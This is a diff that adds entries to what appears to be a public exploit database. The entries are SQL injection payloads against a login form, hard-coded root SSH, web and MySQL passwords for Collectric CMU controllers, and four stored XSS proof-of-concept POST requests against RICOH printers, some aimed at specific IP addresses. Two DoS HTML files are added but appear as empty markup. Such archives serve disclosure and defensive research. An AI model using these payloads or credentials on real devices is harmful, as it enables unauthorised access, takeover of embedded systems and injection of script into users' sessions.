diff --git a/exploits/hardware/webapps/45446.txt b/exploits/hardware/webapps/45446.txt index 7528a8932..715d20dea 100644 --- a/exploits/hardware/webapps/45446.txt +++ b/exploits/hardware/webapps/45446.txt @@ -20,4 +20,34 @@ Payload: username=yUqg&lang=SWEDISH' AND 1320=1320 AND 'EXAr'='EXAr&password=zhd # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 AND time-based blind -Payload: username=yUqg&lang=SWEDISH' AND SLEEP(5) AND 'kglV'='kglV&password=zhdY&setcookie=setcookie&submit=Logga in \ No newline at end of file +Payload: username=yUqg&lang=SWEDISH' AND SLEEP(5) AND 'kglV'='kglV&password=zhdY&setcookie=setcookie&submit=Logga in + + +# Exploit Title: Collectric CMU - Hard-coded SSH/MySQL/Web credentials. +# Discoverer: Simon Brannstrom +# Date: 09/15/2018 +# Vendor Homepage: http://ourenergy.se/ +# Software Link: n/a +# Version: All known versions +# Tested on: Linux +# About: Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface. +More vulnerabilities exists, see my other vulnerability reports. + +--- +Web Portal hard-coded credentials: +username: sysadmin +password: zoogin + +SSH user/root credentials: +username: kplc +password: kplc + +username: root +password: zoogin + +*The SSH server is running Dropbear sshd 0.52 (protocol 2.0) which requires diffie-hellman-group1-sha1. + +MySQL root credentials: +username: root +password: sql4u +--- \ No newline at end of file diff --git a/exploits/hardware/webapps/45461.txt b/exploits/hardware/webapps/45461.txt new file mode 100644 index 000000000..c623f904b --- /dev/null +++ b/exploits/hardware/webapps/45461.txt @@ -0,0 +1,31 @@ +# Exploit Title: RICOH MP C2003 Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link : https://www.ricoh.ca/en/products/pd/mp-c2003-color-laser-multifunction-printer/_/R-240-417253 +# Software : RICOH Printer +# Product Version: MP C2003 +# Vulernability Type : Code Injection +# Vulenrability : HTML Injection and Stored XSS +# CVE : N/A + +# On the MP C2003 printer, HTML Injection and Stored XSS vulnerabilities have been discovered in +# the area of adding addresses via the entryNameIn parameter +# to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: 134.96.209.202 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://134.96.209.202/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 193 +Cookie: risessionid=028553667951828; cookieOnOffChecker=on; wimsesid=552487526 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=1581082599&entryIndexIn=00005&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/45471.txt b/exploits/hardware/webapps/45471.txt new file mode 100644 index 000000000..e425bc6cb --- /dev/null +++ b/exploits/hardware/webapps/45471.txt @@ -0,0 +1,30 @@ +# Exploit Title: RICOH MP C6503 Plus Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6503-plus-color-laser-multifunction-printer/_/R-SIG-C6503-PLU-SET +# Software: RICOH Printer +# Product Version: MP C6503 Plus +# Vulernability Type: Code Injection +# Vulenrability: HTML Injection and Stored XSS +# CVE: N/A + +# On the RICOH MP C6503 Plus printer, HTML Injection and Stored XSS vulnerabilities have been discovered +# in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: Target +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://Target/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 192 +Cookie: risessionid=186737374338492; cookieOnOffChecker=on; wimsesid=205216910 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=278155990&entryIndexIn=00018&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/45487.txt b/exploits/hardware/webapps/45487.txt new file mode 100644 index 000000000..64a0c9366 --- /dev/null +++ b/exploits/hardware/webapps/45487.txt @@ -0,0 +1,30 @@ +# Exploit Title: RICOH MP 305+ Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/all-in-one-printers/mp-305sp.html +# Software: RICOH Printer +# Product Version: MP 305+ +# Vulernability Type: Code Injection +# Vulenrability: HTML Injection and Stored XSS +# CVE: + +# On the RICOH Aficio MP 305+ printer, HTML Injection and Stored XSS vulnerabilities have been discovered +# in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: Target +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://Target/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 193 +Cookie: risessionid=125043496912702; cookieOnOffChecker=on; wimsesid=182442825 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=2128826648&entryIndexIn=00002&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/45490.txt b/exploits/hardware/webapps/45490.txt new file mode 100644 index 000000000..c1b8915f5 --- /dev/null +++ b/exploits/hardware/webapps/45490.txt @@ -0,0 +1,31 @@ +# Exploit Title: RICOH MP C406Z Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c406-color-laser-multifunction-printer/_/R-417322 +# Software: RICOH Printer +# Product Version: MP C406Z +# Vulernability Type: Code Injection +# Vulenrability: HTML Injection and Stored XSS +# CVE: N/A + +# On the RICOH MP C406Z printer, HTML Injection and Stored XSS vulnerabilities have been discovered +# in the area of adding addresses via the entryNameIn parameter +# to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: 129.24.200.133 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://129.24.200.133/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 193 +Cookie: risessionid=025838330540046; cookieOnOffChecker=on; wimsesid=655124944 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=2029349348&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/multiple/dos/45480.html b/exploits/multiple/dos/45480.html new file mode 100644 index 000000000..e50c9e05c --- /dev/null +++ b/exploits/multiple/dos/45480.html @@ -0,0 +1,166 @@ + + + +
+ +
+ + + + + +
+
+ + \ No newline at end of file diff --git a/exploits/multiple/dos/45481.html b/exploits/multiple/dos/45481.html new file mode 100644 index 000000000..370ec1e92 --- /dev/null +++ b/exploits/multiple/dos/45481.html @@ -0,0 +1,189 @@ + + + + + +